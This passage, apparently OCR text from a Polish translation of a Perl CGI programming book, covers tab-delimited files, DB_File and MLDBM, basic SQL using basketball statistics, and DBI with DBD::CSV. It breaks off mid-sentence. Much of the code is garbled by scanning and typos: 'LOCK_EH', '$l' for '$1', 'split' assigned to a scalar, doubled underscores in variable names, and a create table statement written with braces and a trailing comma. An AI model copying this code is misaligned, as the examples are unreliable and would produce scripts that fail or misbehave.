wygodnymi separatorami. Jednak mimo to dane zawsze należy sprawdzać pod ich kątem i kodować lub usuwać wszelkie tabulacje lub znaki końca wiersza jeszcze przed zapisaniem pliku. W ten sposób zyskamy pewność, że dane nie zostaną uszkodzone, gdy ktoś umieści wewnątrz pola na przykład znak nowego wiersza. Należy pamiętać, że nawet wtedy, gdy odczytujemy dane zawarte w takim elemencie formularza HTML, który nie umożliwia wprowadzania znaków nowego wiersza, nie wolno nam ufać użytkownikowi ani jego przeglądarce. Oto przykładowa funkcja służąca do kodowania i dekodowania danych: sub koduj_dane { my @pola = map { s/\\/\\\\/g; s/\t/\\t/g; s/\n/\\n/g; s/\r/\\r/g; $_; } @_; my $wiersz = join "\t", @pola; return "$wiersz\n"; } sub dekoduj_dane { my $wiersz = shift; chomp $wiersz; my $pola = split /\t/, $wiersz; return map { s/\\(.)/$1 eq 't' and "\t\" or $1 eq 'r' and "\r" or $1 eq 'r' and "\r" or "$1"/eg; $_; } @pola; } Powyższe funkcje kodują tabulacje i znaki końców wiersza standardowymi znakami maskującymi stosowanymi w Perlu i niektórych innych językach (\ t, \ r oraz \n). Ponieważ w ten sposób w funkcji znaków maskujących zostają wprowadzone ukośniki odwrócone, także i one muszą zostać zamaskowane. Procedura koduj_dane przyjmuje listę pól, a zwraca jeden zakodowany skalar, który można zapisać w pliku; dekodujjłane przyjmuje wiersz odczytany z pliku, a zwraca listę zdekodowanych pól. Przykład 10.2 demonstruje sposób użycia tych procedur. Przykład 10.2. sign_petition.cgi #!/usr/bin/perl -wT use strict; use Fcntl ":flock"; use CGI; use CGIBook::Error; my $PLIK_DANYCH = "/use/local/apache/data/rekordy_separowane_tabulacjami.txt"; my $q = new CGI; my $nazwisko = $q->param( "nazwisko" ); my $komentarz = substr( $q->param( "komentarz" ), 0, 80 ); unless ( $nazwisko ) { error ( $q, "Proszę podać nazwisko." ) ; }
Programowanie CGI w Perlu
119
open PLIK_DANYCH, ">> $PLIK_DANYCH" or die "Nie można dołączyć do pliku $PLIK_DANYCH: $!"; flock PLIK_DANYCH, LOCK_EX; seek PLIK_DANYCH, 0, 2; print PLIK_DANYCH koduj_dane( $nazwisko, $komentarz ) ; close PLIK_DANYCH; print $q->header ( "text/html" ), $q->start_html ( "Nasza petycja" ), $q->h2 ( "Dziękujemy!" ), $q->p ( "Dziękujemy za podpisanie się pod naszą petycją. ", "Pana (-i) nazwisko zostało dodane poniżej:" ), $q->hr, $q->start_table , $q->tr ( $q->th ( "Nazwisko", "Komentarz" ) ) ; open PLIK_DANYCH, $PLIK_DANYCH or die "Nie można odczytać pliku $PLIK_DANYCH: $!"; flock PLIK_DANYCH, LOCK_EH; while (<PLIK_DANYCH>) { my $dane = dekoduj_dane ( $_ ) ; print $q->tr( $q->td( @dane ) ) ; } close PLIK_DANYCH; print $q->end_table, $q->end_html; sub koduj_dane { my @pola = map { s/\\/\\\\/g; s/\t/\\t/g; s/\n/\\n/g; s/\r/\\r/g; $_; } @_; my $wiersz = join "\t", @pola; return $wiersz . "\n"; } sub dekoduj_dane { my $wiersz = shift; chomp $wiersz; my @pola = split /\t/, $wiersz; return map { s/\\(.)/$l eq 't' and "\t" or $1 eq 'n' and "\n" or $1 eq 'r' and "\r" or "$l"/eg; $_; } @pola; } Zauważmy, że taki układ kodu ma jeszcze jedną zaletę. Jeśli w późniejszym czasie zdecydujemy się zmienić format danych, nie będzie trzeba zmieniać całego skryptu CGI, a tylko funkcje koduj_dane i dekoduj_dcme. DBD::CSV Jak wspomnieliśmy na początku rozdziału, bardzo dobrym podejściem jest dzielenie kodu na moduły tak, aby zmiany formatu danych miały wpływ tylko na niewielki fragment aplikacji. Niemniej jednak byłoby jeszcze lepiej, gdyby w ogóle nie trzeba by było zmieniać nawet tego fragmentu. Jeśli tworzymy aplikację prostą, ale przewidujemy jej rozbudowę, możemy rozważyć oparcie jej na plikach CSV. Pliki CSV (skr. ang. comma separated values, czyli wartości separowane przecinkami) są plikami tekstowymi, w których rekordem jest każdy wiersz, a poszczególne pola oddzielane są przecinkami. Zaletą plików CSV jest to, że można skorzystać z interfejsu DBI Perla oraz modułów DBD::CSV, które umożliwiają sięganie do danych za pomocą elementarnych zapytań SQL, tak jak w systemach relacyjnych baz danych. Kolejną zaletą formatu CSV jest jego stosunkowo duża popularność, więc dane w tym formacie łatwo jest importować oraz eksportować do innych aplikacji, włącznie z arkuszami kalkulacyjnymi programu Microsoft Excel. Opracowania oparte na plikach CSV mają też wady. DBI wprowadza do aplikacji złożoną warstwę, która skądinąd nie byłaby potrzebna, gdyby dostęp do danych odbywał się bezpośrednio. DBI oraz DBD::CSV umożliwiają ponadto tworzenie tylko prostych zapytań SQL i z pewnością nie są tak szybkie, jak prawdziwe systemy relacyjnych baz danych, zwłaszcza przy dużych ilościach danych. Jeśli jednak zależy nam na uruchomieniu aplikacji, a wiemy, że przeniesiemy ją ostatecznie do systemu relacyjnego, i jeśli DBD::CSV chwilowo wystarcza, to takie podejście z pewnością jest słuszne. Nieco dalej w tym rozdziale przyjrzymy się przykładowi, w którym używany jest moduł DBD::CSV.
Programowanie CGI w Perlu
120
Pliki DBM Pliki DBM mają znaczną przewagę nad plikami tekstowymi w funkcji baz danych, a ponieważ Perl udostępnia tak prosty i przezroczysty interfejs do obsługi plików DBM, projektanci chętnie się na nie decydują, gdy mają zaprogramować działania, przy których nie jest wymagany pełny system relacyjnych baz danych. Pliki DBM to po prostu dyskowe tabele asocjacyjne. Pozwalają na szybkie wyszukiwanie wartości według klucza oraz efektywne uaktualnianie i kasowanie wartości we wskazanym miejscu. W celu użycia pliku DBM musimy związać (poleceniem tie) tablicę asocjacyjną Perla z plikiem, wykorzystując do tego jeden z modułów DBM. Przykład 10.3 przedstawia kod, w którym w celu związania tablicy asocjacyjnej z plikiem poczta_uzytkownika.db użyto modułu DB_File. Przykład 10.3. email_lookup.cgi #!/usr/bin/perl -wT use strict; use DB_File; use Fcntl; use CGI; my $q = new CGI; my $nazwa_uzytk = $q->param( "user" ); my $plik_dbm = "/usr/local/apache/data/poczta_uzytkownika.db"; my %tab_asoc_dbm; my $email; tie %tab_asoc_dbm, "DB_File", $plik__dbm, O_RDONLY or die "Nie można otworzyć pliku dbm $plik__dbm: $!"; if ( exists $tab_asoc_dbm{$nazwa_uzytk} ) { $email = $q->a( { href => "mailto: $tab_asoc_dbm{$nazwa_uzytk}" }, $tab_asoc_dbm{$nazwauzytk} ); } else { $email = "Nie znaleziono nazwy użytkownika"; } untie %tab_asoc_dbm; print $q->header( "text/html" ), $q->start_html( "Wyniki wyszukiwania adresów poczty elektronicznej" ), $q->h2( "Wyniki wyszukiwania adresów poczty elektronicznej" ), $q->hr, $q->p( "Oto adres poczty elektronicznej użytkownika o podanej nazwie: " ), $q->p ( "Nazwa użytkownika: $nazwa_uzytk", $q->br, "Poczta elektroniczna: $email" ), $q->end_html; Istnieje wiele różnych formatów plików DBM, podobnie jest wiele różnych modułów DBM. Spośród nich Berkeley DB oraz GDBM mają największe możliwości. Jednak przy tworzeniu serwisów Web Berkeley DB wraz z odpowiadającym mu modułem DB_File stanowią najpopularniejsze rozwiązanie. W przeciwieństwie do GDBM zapewnia prosty sposób blokowania bazy danych, tak że próby współbieżnego zapisu nie powodują obcięcia ani uszkodzenia pliku. DB_File Moduł DB_File obsługuje właściwości funkcjonalne Berkeley DB w wersji l .xx; w Berkeley DB w wersjach 2.xx i 3.xx znalazły się liczne ulepszenia. DB_File jest zgodny z tymi późniejszymi wersjami, lecz API obsługuje wyłącznie w wersji l .xx. Ze strony Perla obsługę wersji 2.xx i późniejszych zapewnia moduł BerkeleyDB. Mimo to DB_File jest znacznie prostszy i łatwiejszy w użyciu i nadal jest popularniejszy. Berkeley DB można pobrać pod adresem http://www.sleepycat.com/. Moduły DB_File i BerkeleyDB są dostępne w sieci CPAN. DB_File jest ponadto włączany do standardowego pakietu dystrybucyjnego Perla (chociaż instalowany jest tylko wtedy, gdy obecny jest format Berkeley DB). Posługiwanie się modułem DB_File, jak widzieliśmy, jest proste. Wystarczy związać tablicę asocjacyjną z wybranym plikiem DBM, który odtąd można już traktować jak zwykłą tablicę asocjacyjną. Do funkcji iie przekazuje się co najmniej dwa argumenty: tablicę asocjacyjną do związania oraz nazwę używanego modułu DBM. Zwykle podaje się także nazwę pliku DBM, który ma zostać użyty, oraz znaczniki praw dostępu zaimportowane z modułu Fcntl. Można też podać uprawnienia do pliku, jeśli tworzony jest nowy. Często dostęp do plików asocjacyjnych odbywa się w trybie odczyt-zapis. Ze względu na blokowanie dostęp tego typu przyczynia się do pewnego skomplikowania kodu: use Fcntl qw( :DEFAULT :flock ); use DB_File; my %tab_asoc; local *DBM; my $db = tle %tab_asoc, "DB_File", $plik_dbm, O_CREAT i O_RDWR, 0644 or die "Nie można związać tablicy z plikiem $plik_dbm: $!"; my $fd = $db->fd; # Pobranie deskryptora pliku open DBM, "+<&=$fd" or # Pobranie uchwytu otwieranego pliku die "Nie można otworzyć DBM z blokowaniem: $!"; flock DBM, LOCK_EX; # Zablokowanie z wyłącznością undef $db;
Programowanie CGI w Perlu
121
# Zapobieżenie problemom przy odwiązywaniu # Tu przychodzi cały kod; %tab_asoc można traktować jak zwykłą elementarną tablicę asocjacyjną untie %tab_asoc; # Wyczyszczenie buforów, potem zapisanie, zamkniecie i odblokowanie pliku Użyliśmy zaimportowanych przez Fcntl znaczników O_CREAT i O_RDWR, aby wskazać, że ma zostać otwarty plik DBM w trybie do odczytu i zapisu, a jeśli plik nie istnieje, to ma zostać utworzony. Jeśli powstanie nowy plik, w systemie uniksowym przypisane mu zostaną uprawnienia o wartości 0644 (chociaż funkcją umask można je jeszcze bardziej ograniczyć). Jeśli polecenie tie zostanie wykonane pomyślnie, wynikowy obiekt DB_File umieszczany jest w zmiennej $db. Zmienna $db jest nam potrzebna tylko do uzyskania deskryptora pliku DBM, na którym opiera się DB_File. Posługując się nią, możemy otworzyć, w trybie do odczytu i zapisu, uchwyt pliku według tego właśnie deskryptora pliku. W rezultacie uzyskujemy uchwyt pliku, który możemy zablokować poleceniem flock. Następnie poleceniem undef unieważniamy definicję $db. Zmiennej $db pozbywamy się nie tylko po to, aby zaoszczędzić trochę RAM-u. Zazwyczaj, kiedy kończymy korzystanie ze związanej wcześniej tablicy asocjacyjnej, odwiązujemy ją poleceniem untie, działającym analogicznie do polecenia close. Jeśli nie zrobimy tego jawnie, Perl zrobi to automatycznie, gdy tylko wszystkie referencje do DB_File znajdą się poza zakresem widoczności zmiennych. Sęk w tym, że untie kasuje tylko tę zmienną, którą od wiązuje; plik DBM nie zostaje w rzeczywistości zapisany i zwolniony, dopóki nie zostanie wywołana metoda DESTROY obiektu DB_File - gdy już wszystkie referencje do danego obiektu znajdą się poza zasięgiem widoczności. W wyżej przytoczonym kodzie mieliśmy dwie referencje do tego obiektu: %tab_asoc i $db, więc po to, aby było możliwe pisanie w pliku oraz zapisanie samego pliku, obydwie referencje muszą zostać skasowane. Powyższe działania mogą się wydawać mało przejrzyste, niemniej szczegóły nie są najistotniejsze. Wystarczy pamiętać, że gdy tylko utworzymy obiekt DB_File (tak jak $db z przykładu) z zamiarem zablokowania pliku, jego definicję należy unieważnić natychmiast po zablokowaniu pliku o danym uchwycie. Polecenie untie zadziała jak close i w każdym wypadku zwolni plik DBM. DB_File zapewnia bardzo proste, a zarazem efektywne rozwiązanie w sytuacji, gdy trzeba przechować pary nazwa-wartość. Niestety, jeśli trzeba magazynować struktury danych o większej złożoności, należy je kodować i dekodować, aby były składowane jako dane skalarne. Na szczęście istnieje moduł, który stanowi odpowiedni środek zaradczy. MLDBM Na samym dole strony podręcznikowej Perla wymienione są trzy wielkie cnoty programisty: lenistwo, niecierpliwość i zuchwalstwo. Moduł MLDBM dotyczy przede wszystkim lenistwa, ale w pozytywnym sensie. Dzięki MLDBM naszym zmartwieniem przestaje być kodowanie i dekodowanie w Perlu danych w celu dostosowania ich do wymogów magazynu danych. Można je zapisywać i odczytywać tak jak dane perłowe. MLDBM zamienia plik DBM, taki jak typu DB_File, w wielopoziomowy DBM, który nie jest ograniczony do prostych par klucz-wartość. Oparty jest na serializatorze (narzędziu do zamiany danych strukturalnych na szereg prostych zapisów), przekształcającym złożone struktury do postaci, w której dane można umieścić w pliku, a potem na powrót zdeserializować do postaci danych Perla. Możliwy jest następujący zapis: # Dla zwięzłości pominięte zostało blokowanie pliku tie %tab_asoc, "MLDBM", $plik_dbm, O_CREAT | O_RDWR, 0644; $tab_asoc{maria} = { nazwisko => "Maria Nowak", stanowisko => "wiceprezes", telefon => [ "650-555-1234", "800-555-4321" ], email => 'ranowak@widgety.com', }; Później do tych informacji można sięgnąć bezpośrednio: my $maria = $tab_asoc{maria}; my $stanowisko = $maria->{stanowisko}; Zauważmy, że MLDBM, zapewniając tak dużą przezroczystość, pozwala nam zignorować fakt, że dane przechowywane są jako pary nazwa-wartość: my $telefon_do_pracy = $tab_asoc{maria}{telefon}[1]; Niemniej jednak należy zachować ostrożność, ponieważ możemy tak postąpić tylko przy odczycie, a nie przy zapisywaniu. Dane należy zapisywać jako pary klucz-wartość. Na przykład taki zapis jest nieskuteczny: $tab_asoc{maria}{email} = 'maria_nowak@widgety.com'; Należy natomiast zastosować następujący kod: my $maria = $tab_asoc{maria}; # Uzyskanie kopii rekordu Marii $maria{email} = 'maria_nowak@widgety.com'; # Zmodyfikowanie kopii $tab_asoc{maria} = $maria; # Zapisanie kopii w tablicy asocjacyjnej MLDBM notuje podlegające mu obiekty, więc działa wyjątkowo sprawnie przy składowaniu obiektów w Perlu: use Pracownik; my $maria = new Pracownik( "Maria Nowak" ); $maria->stanowisko( "wiceprezes" ) ; $maria->telefon( "650-555-1234", "800-555-4321" );
Programowanie CGI w Perlu
122
$maria->email( 'maria_nowak@widgety.com' ); $tab_asoc{maria} = $maria; oraz pobieraniu z nich danych: use Pracownik; my $maria = $tab_asoc{maria}; print $maria->email; Przy pobieraniu danych z obiektów musimy pamiętać, aby przed sięgnięciem do danych zainicjować odpowiedni moduł (w tym wypadku jest to fikcyjny moduł o nazwie Pracownik), poleceniem use. MLDBM ma mimo wszystko ograniczenia. Nie można składować ani pobierać uchwytów plików ani referencji (ich zasięg ogranicza się co najwyżej do pojedynczego żądania CGI). Do modułu MLDBM należy przekazać informację, który moduł DBM ma zostać użyty, a także który moduł ma zostać użyty do serializacji i deserializacji danych. Do wyboru mamy: Storable, Data::Dumper oraz FreezeThaw. Storable jest najszybszy, lecz Data::Dumper zawarty jest w samym Perlu. Używając modułu MLDBM w połączeniu z DB_File, pliki DBM blokuje się tak samo jak w wypadku samego DB_File: use Fcntl qw( :DEFAULT :flock ); use MLDBM qw( DB_File Storable ); my %tab_asoc; local *DBM; my $db = tie %tab_asoc, "MLDBM", $plik_dbm, O_CREAT | O_RDWR, 0644 or die "Nie można związać tablicy z plikiem $plik_dbm: $!"; my $fd = $db->fd; # Pobranie deskryptora pliku open DBM, "+<&=$fd" or # Pobranie uchwytu otwieranego pliku die "Nie można otworzyć DBM z blokowaniem: $!"; flock DBM, LOCK_EX; # Blokowanie z wyłącznością undef $db; # Zapobieżenie problemom przy odwiązywaniu # Tu przychodzi cały kod; %tab_asoc można traktować jak zwykłą złożoną tablicę asocjacyjna untie %tab_asoc; # Wyczyszczenie buforów, potem zapisanie, zamknięcie i odblokowanie pliku
Wprowadzenie do języka SQL Ze względu na ogromną liczbę różnych systemów baz danych większość producentów baz danych przyjęła język zapytań SQL jako standardowy środek służący do modyfikowania i sięgania do danych. Na początek przyjrzyjmy się bliżej, jak posługiwać się tym językiem przy komunikowaniu się z rozmaitymi systemami baz danych. SQL jest znormalizowanym językiem umożliwiającym sięganie do danych i manipulowanie nimi w ramach systemów relacyjnych baz danych. Prototypowa specyfikacja SQL-a pierwotnie definiowała język „strukturalny", i stąd bierze się jego pełna nazwa: Structured Query Language, choć określenie to nie jest już aktualne w wypadku bieżącego standardu SQL-92. SQL opracowano przede wszystkim pod kątem stosowania go w połączeniu z głównymi wysokopoziomowymi językami programowania. Tymczasem większość podstawowych konstrukcji obecnych w językach wysokiego poziomu, na przykład pętle oraz instrukcje warunkowe, nie występuje w SQL-u. SQL obsługiwany jest przez wszystkie większe komercyjne systemy relacyjnych baz danych, na przykład Oracle, Informix i Sybase, oraz wiele baz danych z otwartym kodem źródłowym, na przykład PostgreSQL, MySQL i mSQL. Dzięki temu kod operujący na bazie danych może być łatwo i szybko przenoszony między różnymi platformami. A zatem przyjrzyjmy się SQL-owi. Tworzenie bazy danych Zaczniemy od omówienia sposobu tworzenia bazy danych. Załóżmy, że mamy następujące informacje: Zawodnik Lata Punkty Zbiórki Asysty Mistrzostwa Lany Bird 12 28 10 7 3 Magie Johnson 12 22 7 12 5 Michael Jordan 13 32 6 6 6 Karl Malone 15 26 11 3 0 Shaquille O'Neal 8 28 12 3 0 John Stockton 16 13 3 11 0 Kod SQL tworzący tę bazę danych jest następujący: create table Info_o_zawodnikach { Zawodnik varchar (30) not null, Lata integer, Punkty integer, Zbiorki integer, Asysty integer, Mistrzostwa integer, } Polecenie create table tworzy bazę danych złożoną w tym wypadku z pojedynczej tabeli. Pole Zawodnik przechowywane jest jako łańcuch znakowy o zmiennej liczbie znaków (varchar), który nie może przyjmować
Programowanie CGI w Perlu
123
wartości Null. Innymi słowy, jeśli dane w tym polu są krótsze od trzydziestu znaków, baza danych nie dopełni ich spacjami jak w wypadku zwykłego znako wego typu danych. Ponadto baza danych wymusza na użytkowniku wprowadzenie wartości w polu Zawodnik - nie może być ono puste. Pozostałe pola definiowane są jako całkowitoliczbowe (integer). Pozostałe dozwolone typy danych to między innymi datetime, smallint, numeric i decimal. Typy numeric i decimal umożliwiają podawanie wartości zmiennopozycyjnych. Na przykład, jeśli chcemy przechować pięciocyfrową liczbę zmiennopozycyjną z dokładnością do setnych, możemy podać decimal(5,2)Wstawianie danych Zanim omówimy sposób pobierania danych z tabeli w bazie danych, najpierw musimy przedstawić sposób jej zapełniania. W SQL-u używa się do tego instrukcji insert. Powiedzmy, że musimy dodać do bazy kolejnego zawodnika. Możemy to zrobić w następujący sposób: insert into Info_o_zawodnikach values ('Hakeem Olajuwon', 16, 23, 12, 3, 2); Jak widać, wstawianie elementu do tabeli jest bardzo proste. Niemniej jednak, jeśli tabela składa się z dużej liczby kolumn, chcąc wstawić wiersz do tabeli możemy wyspecyfikować wybrane kolumny: insert into Info_o_zawodnikach (Zawodnik, Lata, Punkty, Zbiorki, Asysty, Mistrzostwa) values ('Hakeem Olajuwon', 10, 27, 11, 4, 2) ; W takim kontekście kolejność pól nie musi się zgadzać z kolejnością w bazie danych, byleby pola i wartości pasowały do siebie w specyfikacji. Sięganie do danych Język stosowany przy dostępie do danych jest o wiele bardziej rozbudowany niż ten, który służy do tworzenia tabeli i wstawiania do niej danych. Te dodatkowe elementy czynią z SQL-a niewiarygodnie bogaty język, gdy chodzi o pobierania danych zmagazynowanych w tabelach baz danych. Później zobaczymy, że informacje podane w tym podrozdziale dotyczą także uaktualniania i usuwania danych, gdyż przy tych operacjach także potrzebne jest wskazanie wierszy tabeli, które mają być modyfikowane lub usunięte. Powiedzmy, że chcemy uzyskać listę całej zawartości bazy danych. W tym celu można użyć następującego kodu: select * from Info_o_zawodnikach; Polecenie select pobiera określoną informację z bazy danych. W tym wypadku wybierane są wszystkie kolumny bazy danych Info_o_zawodnikach. Gwiazdki (*) należy używać z wielką ostrożnością, zwłaszcza przy obszernych bazach danych, gdyż nieumyślnie można pobrać z bazy zbyt dużo informacji. Zauważmy, że operację tę wykonujemy na kolumnach, a nie na wierszach. Na przykład, gdybyśmy chcieli uzyskać listę wszystkich zawodników zanotowanych w bazie danych, moglibyśmy posłużyć się następującym zapisem: select Zawodnik from Info_o_zawodnikach; A jak wyglądałby zapis, gdyby była nam potrzebna lista wszystkich zawodników, którzy zdobyli więcej niż 25 punktów? Oto kod, który zrealizuje to zadanie: select * from Info_o_zawodnikach where Punkty > 25; W ten sposób uzyskamy listę ze wszystkimi kolumnami zawodników, którzy zdobyli więcej niż 25 punktów: Zawodnik Lata Punkty Zbiórki Asysty Mistrzostwa Lany Bird 12 28 10 7 3 Michael Jordan 13 32 6 6 6 Karl Malone 15 26 11 3 0 Shaąuille O'Neal 8 28 12 3 0 Gdybyśmy chcieli mieć listę złożoną tylko z kolumn Zawodnik i Punkty, moglibyśmy napisać: select Zawodnik, Punkty from Info_o_zawodnikach where Punkty > 25; Oto przykładowy zapis, który zwraca wszystkich zawodników, którzy zdobyli więcej niż 25 punktów i wygrali mistrzostwa: select Zawodnik, Punkty, Mistrzostwa from Info_o_zawodnikach where Punkty > 25 and Mistrzostwa > 0; Wynik tej instrukcji SQL byłby następujący: Zawodnik Punkty Mistrzostwa Lany Bird 28 3 Midiael Jordan 32 6
Programowanie CGI w Perlu
124
W poleceniu select można użyć symboli wieloznacznych. Na przykład w wyniku następującej instrukcji zostaną zwróceni wszyscy zawodnicy o nazwisku Johnson: select * from Info_o_zawodnikach where Zawodnik like '% Johnson'; W ten sposób odszukane zostaną łańcuchy znakowe kończące się wyrazem „Johnson". Uaktualnianie danych Gdyby Shaquille O'Neal wywalczył mistrzostwo, musielibyśmy uaktualnić bazę danych, chcąc ten fakt odzwierciedlić. Można to zrobić w następujący sposób: update Info_o_zawodnikach set Mistrzostwa = l where Zawodnik = 'Shaquille 0''Neal'; Zwróćmy uwagę na klauzulę where. Aby zmodyfikować dane, musimy poinformować SQL, w których wierszach będą ustanawiane nowe wartości. Posługujemy się składnią, która używana jest przy sięganiu do danych w tabeli z tą różnicą, że zamiast pobierać rekordy, my je modyfikujemy. Warto też zauważyć, że maskujemy znak pojedynczego cudzysłowu przez jego podwojenie. W SQL-u są także instrukcje służące do modyfikowania całych kolumn. Po każdym koszykarskim sezonie musimy zwiększyć o jeden wartości w kolumnie Lata: update Info_o_zawodnikach set Lata = Lata + 1; Usuwanie danych Gdybyśmy chcieli z bazy danych usunąć Johna Stocktona, moglibyśmy użyć następującej instrukcji: delete from Info_o_zawodnikach where Zawodnik = 'John Stockton'; W celu usunięcia wszystkich rekordów tabeli trzeba by się posłużyć taką oto instrukcją: delete from Info_o_zawodnikach; Polecenie drop tobie usuwa z bazy danych całą tabelę: drop table Info_o_zawodnikach; Więcej informacji o SQL-u znajduje się w kompendium dotyczącym standardu SQL-92 pod adresem http://sunsite.doc.ic.ac.uk/packages/perl/db/refinfo/sql2/sql1992M.
DBI Moduł DBI zapewnia najelastyczniejszy sposób łączenia Perla z bazami danych. Aplikacje oparte na względnie standardowych wywołaniach SQL mogą bezproblemowo sięgać do nowego sterownika baz danych DBI, kiedy tylko programista zechce obsłużyć nową bazę danych. Sterowniki DBI niemal wszystkich głównych mechanizmów relacyjnych baz danych dostępne są w sieci CPAN. Mimo że moduły dostosowane do konkretnych baz danych, na przykład Sybperl i Oraperl, nadal istnieją, są bardzo szybko wypierane przez DBI, które stosowane jest do większości operacji na bazach danych. DBI ma bogate możliwości. Niemniej jednak do zrealizowania większości operacji w prostych aplikaq'ach baz danych wystarczy tylko niewielki ich zestaw. W niniejszym podrozdziale opiszemy, jak tworzyć tabele, a także jak wstawiać do nich dane, uaktualniać je, usuwać i pobierać. Na koniec zbierzemy wszystkie wiadomości i zademonstrujemy ich użycie na przykładzie książki adresowej. DBI umożliwia stosowanie parametrów wiązanych oraz procedur składowanych, przy czym działanie tych elementów zwykle zależy od konkretnej bazy danych. Niektóre sterowniki mogą dodatkowo obsługiwać rozszerzenia określonych baz danych, przy czym nie można zagwarantować, że rozszerzenia te będą występować w każdej implementaq'i sterownika. W tym podrozdziale skupimy się na przeglądzie funkcji DBI, które zostały powszechnie zaimplementowane we wszystkich sterownikach DBI. Posługiwanie się DBI W przytaczanych tu przykładach będziemy się posługiwać sterownikiem DBI zrealizowanym w module DBD::CSV. Sterowniki DBI poprzedzane są skrótem DBD (z ang. database drwer, czyli sterownik bazy danych), po którym przychodzi właściwa nazwa sterownika. W tym wypadku jest to CSV, czyli skrót nazwy formatu Comma Separated VALUEs, skądinąd znanego jako płaski plik tekstowy separowany przecinkami. Przykłady oparliśmy na DBD::CSV dlatego, że ten sterownik jest najbardziej przystępny, a także dlatego, że DBD::CSV nie wymaga od nas wiedzy o konfigurowaniu mechanizmu relacyjnych baz danych, tak jak w wypadku baz Sybase, Oracle, PostgreSQL czy MySQL. Sterownik DBD::CSV do systemu Unix można znaleźć w sieci CPAN; instrukcje powinny ułatwić skompilowanie go na konkretnej platformie. W wypadku Perla firmy ActiveState w systemie Win32 zalecamy, aby skorzystać z PPM (Perl Package Manager) tej firmy i pobrać wersję binarną DBD::CSV z jej składnicy pakietów do Win32 (zob. dodatek B). Łączenie się z DBI Aby ustanowić połączenie z bazą danych DBI, wywołuje się metodę connect. Jeśli instrukcja connect zostaje pomyślnie zrealizowana, zwracany jest uchwyt bazy danych reprezentujący połączenie: use DBI;
Programowanie CGI w Perlu
125
my $dbh = DBI->connect("DBI::CSV:f_dir=/usr/local/apache/data/stats") or die "Nie można ustanowić połączenia:" . $DBI::errstr; Instrukcja use informuje Perl, którą bibliotekę do obsługi DBI ma załadować. Na koniec instrukcja connect przyjmuje przekazany do niej łańcuch, na którego podstawie ustala sterownik bazy danych do wczytania - w tym wypadku jest to DBD::CSV. Pozostała część łańcucha zawiera informacje przeznaczone dla sterownika bazy danych, na przykład nazwę użytkownika i hasło. W wypadku DBD::CSV nie stosuje się nazw użytkowników i haseł; wystarczy podać katalog, w którym będą przechowywane pliki reprezentujące tabele bazy danych. Należy pamiętać o odłączeniu się od bazy danych, gdy uchwyt do niej przestanie być potrzebny: $dbh->disconnect; Operacje na bazie danych Operowanie na bazie danych w wypadku DBI jest całkiem proste. Wystarczy do metody do uchwytu bazy danych przekazać instrukcję create table, insert, update lub dele-te. Polecenie zostanie natychmiast wykonane: $dbh->do("insert into Info_o_zawodnikach values ('Hakeem Olajuwon', 10, 27, 11, 4, 2)") or die "Nie można wykonać instrukcji: " . $dbh->errstr(); Kierowanie zapytań do bazy danych Przeszukiwanie bazy danych przy użyciu DBI wymaga kilku dodatkowych poleceń, gdyż sposobów pobierania danych jest wiele. Pierwszą czynnością jest przekazanie zapytania SQL do polecenia prepare. W ten sposób powstanie uchwyt instrukcji, który posłuży do pobrania wyników: my $sql = "select * from Info_o_zawodnikach"; my $sth = $dbh->prepare($sql) or die "Nie można przygotować instrukcji: " . $dbh->errstr () ; $sth->execute () or die "Nie można zrealizować instrukcji: " . $sth->errstr () ; my @wiersz; while (Swiersz = $sth->fetchrow_array () ) { print join(",", @wiersz) . "\n"; } $sth->finish(); Po wywołaniu polecenia prepare za pomocą polecenia execute rozpoczynamy kwerendę. Ponieważ kwerenda oznacza, że mają zostać zwrócone wyniki, w pętli while pobieramy poszczególne rekordy. Polecenie fetchrow_array zostało użyte po to, aby każdy zwracany wiersz miał postać tablicy pól. Na koniec zwalniamy uchwyt instrukcji, wywołując metodę finish. Warto wiedzieć, że w większości wypadków metody finish nie musimy wywoływać jawnie. Wywoływana jest samoczynnie, gdy tylko zostanie pobrany ostatni rekord. Jeśli jednak program w pewnym momencie zaprzestanie pobierania rekordów przed zrealizowaniem instrukcji do końca, wywołanie finish stanie się konieczne do zwolnienia uchwytu instrukcji.
Książka adresowa oparta na DBI Większość firm z intranetem ma sieciowe książki adresowe, w których można wyszukiwać numery telefonów i inne dane pracowników. Pokażemy, jak - opierając się na DBI - zaimplementować pełną książkę adresową w dowolnej bazie danych obsługiwanej za pomocą języka SQL. Skrypt do tworzenia bazy danych stanowiącej książkę adresową Przyjrzymy się dwóm skryptom. Pierwszy z nich nie jest skryptem Web. Jest to prosty skrypt, tworzący tabelę z adresami, do której będzie można sięgnąć poprzez książkę adresową CGI: #!/usr/bin/perl -wT use strict; use DBI; my $dbh = DBI->connect("DBI::CSV:f_dir=/usr/local/apache/data/ksiazka_adresowa") or die "Nie można ustanowić połączenia: " . $DBI::errstr; my $sth = $dbh->prepare(qq' CREATE TABLE adres (nazwisko CHAR(15), imię CHAR(15), dział CHAR(35), telefon CHAR(15), lokalizacja CHAR(15) ') or die "Nie można przygotować instrukcji: " . $dbh->errstr () ; $sth->execute() or die "Nie można wykonać instrukcji: " . $sth->errstr () ; $sth->finish() ; $dbh->disconnect() ; Jak widać, w skrypcie zawarto polecenia ustanawiające połączenie z bazą danych oraz wysyłające instrukcję tworzenia tabeli. Mamy tu też pewną ciekawostkę. Mimo że wcześniej pokazaliśmy, iż tworzenie tabeli można zrealizować na uchwycie bazy danych za pomocą prostej metody do, użyty przez nas kod DBI jest podobny do poleceń DBI użytych przy kierowaniu zapytań do bazy danych.
Programowanie CGI w Perlu
126
W tym przykładzie najpierw przygotowujemy instrukcję create table, a potem ją wykonujemy poprzez uchwyt instrukcji. Chociaż użycie metody do jest szybkie i łatwe, rozdzielenie kodu w pokazany sposób umożliwia nam obsługę błędów na różnych etapach realizacji SQL-a. Dodanie kodu obsługi błędów bardzo się może przydać w skrypcie, który znajdzie się w aplikacji docelowej. Rezultatem końcowym jest tabela o nazwie adres w katalogu /usr/local/apache/data/ksiaz-kijłdresawa. Tabela adresów zawiera pięć pól: nazwisko, imię, dział, telefon i lokalizacja. Być może konieczna będzie modyfikacja uprawnień do pliku adres, aby serwer Web mógł w tym pliku pisać. Skrypt CGI książki adresowej Skrypt CGI książki adresowej jest kompletnym programem, wyświetlającym planszę zapytania oraz umożliwiającym modyfikowanie danych w książce adresowej w dowolny sposób. Domyślna plansza składa się z szeregu pól formularza reprezentujących pola w bazie danych, co do których można formułować zapytania (zob. rysunek 10.1). Gdy wybrany zostanie przycisk „Modyfikacja bazy danych", użytkownikowi zostanie przedstawiona nowa plansza robocza, służąca do dodawania, modyfikowania 